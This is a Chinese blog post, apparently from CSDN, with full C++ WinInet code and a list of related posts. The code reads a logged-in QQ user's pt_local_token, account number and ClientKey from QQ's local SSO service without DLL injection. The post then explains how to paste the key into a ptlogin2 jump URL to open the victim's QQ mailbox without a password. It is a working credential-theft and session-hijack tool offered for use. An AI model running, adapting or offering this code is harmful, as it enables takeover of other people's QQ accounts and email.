c++模拟会话登录,访问QQ的SSO,读取ClientKey,不需要注入,读取QQ ClientKey C++版本


需要注意的是,这种方法获取的clientkey长度是224位,和之前注入dll获取的不一样。

注入dll获取的是64位的clientkey

利用方法:
64字节: http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64个字节的KEY&u1=需要登陆的QQ服务网站地址
224字节: http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位字节的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址

例如,我想利用224字节的key,无密进入qq邮箱

用浏览器访问下面构造的地址,成功后会返回一个地址,复制再访问,就直接进入QQ邮箱了
http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224字节key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25

#include "stdafx.h"
#include<string>
#include<windows.h>
#include<iostream>
#include <WinInet.h>
#pragma comment(lib,"wininet.lib")
using namespace std;char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";int _tmain(int argc, _TCHAR* argv[])
{// 初始化URLURL_COMPONENTSA crackedURL = { 0 };char szHostName[128];char szUrlPath[256];crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);crackedURL.lpszHostName = szHostName;crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);crackedURL.lpszUrlPath = szUrlPath;crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);// 初始化会话HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);// 发送HTTP请求HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);// 查询HTTP请求状态DWORD dwRetCode = 0;DWORD dwSizeOfRq = sizeof(DWORD);BOOL bRet = FALSE;bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);// 读取整个Headerschar lpHeaderBuffer[1024] = {0};dwSizeOfRq = 1024;bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);// 从Cookie中提取pt_local_token的值char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;while (pt_local_token != lpHeaderBuffer){if (strstr(pt_local_token, "pt_local_token=")){// 退出之前,修正偏移pt_local_token += sizeof("pt_local_token");char* pEndBuffer = strstr(pt_local_token, ";");*pEndBuffer = 0;break;}pt_local_token--;}// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序InternetCloseHandle(hHttpRequest);InternetCloseHandle(hHttpSession);/* 第二次建立会话 */// 初始化URL参数char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token// 初始化会话hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);// 发送HTTP请求,添加头信息char* lpHeaders = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);// 查询HTTP请求状态dwRetCode = 0;dwSizeOfRq = sizeof(DWORD);bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);// 获取返回数据的大小DWORD dwNumberOfBytesAvailable = 0;bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);// 读取网页内容char* lpBuffer = new char[dwNumberOfBytesAvailable]();bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个char* uin = lpBuffer + dwNumberOfBytesAvailable;while (uin != lpBuffer){if (strstr(uin, "\"account\":\"")){// 退出之前,修正偏移uin += sizeof("\"account\":");char* pEndBuffer = strstr(uin, "\"");*pEndBuffer = 0;break;}uin--;}cout << "[+] uin:" << uin << endl;// 释放资源,注意关闭句柄时按相反的顺序InternetCloseHandle(hHttpRequest);InternetCloseHandle(hHttpSession);/* 第三次会话 */// 初始化URL参数ZeroMemory(lpszUrlPath,MAX_PATH);strcat(lpszUrlPath, "/pt_get_st?clientuin=");strcat(lpszUrlPath, uin);strcat(lpszUrlPath, "&callback=ptui_getst_CB&pt_local_tk=");strcat(lpszUrlPath, pt_local_token);// 发送HTTPS请求hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);// 添加头信息lpHeaders = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);// 查询HTTP请求状态dwRetCode = 0;dwSizeOfRq = sizeof(DWORD);bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);// 读取整个HeadersZeroMemory(lpHeaderBuffer, 1024);dwSizeOfRq = 1024;bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);// 从Cookie中提取ClientKey的值char* clientkey = lpHeaderBuffer + dwSizeOfRq;while (clientkey != lpHeaderBuffer){if (strstr(clientkey, "clientkey=")){// 退出之前,修正偏移clientkey += sizeof("clientkey");char* pEndBuffer = strstr(clientkey, ";");*pEndBuffer = 0;break;}clientkey--;}cout << "[+] client key:" << clientkey << endl;InternetCloseHandle(hHttpRequest);InternetCloseHandle(hHttpSession);InternetCloseHandle(hInternet);delete[] lpBuffer;return 0;
}

读取QQ ClientKey C++版本相关推荐

  1. 最新利用腾讯快捷登录协议截取QQ ClientKey实战课程【详细教学-源码共享】

    本文主要通过利用腾讯网页快捷登录协议来模拟访问并截取已登录QQ的ClientKey.Skey.P_skey等. 附完整工具下载地址: https://download.csdn.net/downloa ...

  2. 2023年最新版获取QQ Clientkey。

    网上有不少获取QQ Clientkey的方式,第一种是模拟浏览器访问本地登陆QQ的方式获取Clientkey:另外就是注入到QQ通过调用它的导出函数获取Clientkey. 本文主要是通过网页模拟浏览 ...

  3. java 读取QQ邮箱

    1.引入jar包 <dependency><groupId>javax.mail</groupId><artifactId>javax.mail-api ...

  4. 用ASP.NET读取QQ相册

    最近遇到要读取QQ相册的问题,所以自己诼磨了下,把读取相册的思路和代码写下来. 很多网站到图片链接都做了盗链处理.意思是如果你想在不是他的网站上引用图片就不会正确显示图片,而是一张其它的版权说明之类的 ...

  5. qq android 哪个版本好用吗,qq新版好用吗?安卓QQ6.5版本更新

    如果你经常参加QQ新版本体验,开启了测试版推送,今天可能会收到Android QQ 6.5版本的更新提示,而现在正式版的版本号还只是6.3.7.版本跨度这么大,显然会是个重大更新,于是赶紧下载安装,然 ...

  6. python3自动读取QQ邮箱的附件 脚本

    python3自动读取QQ邮箱的附件 脚本 环境 python3 实现,QQ 邮箱,开启SMTP /POP 服务 注意 账号密码:密码 不是账号密码,而是认证码.需要开启服务获取. 参考 https: ...

  7. 魅族回应被吉利收购:已签署协议;腾讯下架QQ影音所有版本;PyPI多个软件包因拼写错误包含后门|极客头条...

    「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...

  8. 情迁QQ机器人sdk版本变更纪录以及兼容性适配

    初次体验 如果你第一次打开本文章,我想对你说的是,这文章可能只供参考因为有些设置又了很大的改动,以及方式也不一样了. 插件开发具体还请参考 手机端编写LUA脚本插件https://www.jiansh ...

  9. java从控制台读取数据_Java不同版本从控制台读取数据方法及优缺点分析

    从JDK 5.0版本开始,能从控制台中输入数据的方法每增加一个版本号,就有一种新增的方法,这也增加了选择的种类,可以依据不同的要求来进行选择. 下面和绿茶小编一起来了解一下各个版本从控制台中读取数据的 ...

  10. QQ 可注销版本上线;拼多多成立技术顾问委员会;董明珠:建议偷手机判 10 年 | 极客头条...

    Python规划学习路线图,速领取? https://edu.csdn.net/topic/python115?utm_source=csdn_bw 「CSDN 极客头条」,是从 CSDN 网站延伸至 ...

最新文章

  1. 【思科】BGP的community属性解析
  2. stm32控制舵机任意角度_如何对舵机建模仿真?
  3. oracle 本地使用命令导入数据到远程主机
  4. 2020-3-20前端题目
  5. linux重启后地址不是之前设置的静态地址的解决方案
  6. Linq------错误: Unable to determine the principal end of an association between the types
  7. SQLi-LABS Less-2,联合注入+报错注入
  8. 在训练CNN时,loss稳定在log(类别数)
  9. 如何用计算机ip连接打印机共享,ip共享打印机怎么设置
  10. linux文件fflush,Linux fflush 与 fsync的区别
  11. [联合集训6-25] 蓝雨 线段树+主席树+hash
  12. Intel Composer XE
  13. 移动支付申请所需材料及流程整理
  14. Android含资源文件引用的项目打包成jar包
  15. Postman(七): postman应用实战
  16. 【深度学习】深度学习中的可解释性(1)
  17. MDK5中的一些用户命令
  18. [BPA] BPA知识总结
  19. IDEA导出jar打包成exe应用程序
  20. 中国科学家成功筛选拉沙病毒入侵抑制剂

热门文章

  1. 更新了 pe_xscan 和 ClosePc
  2. VideoEdit+ User Manual
  3. The Django Book(一)
  4. Unity遮罩简单复刻2D平台《Unbound: Worlds Apart》游离于世界之海的双重世界效果
  5. NUKE 11 for mac版(电影特效合成软件) 11.3v4激活版详细安装步骤
  6. CI框架 设置全局常量、全局变量
  7. 如何找到局域网内所有主机ip
  8. JEB配合IDA神器逆向
  9. matlab天线阵列分析,基于Matlab的阵列天线数值分析
  10. landset8各波段_landsat8卫星全面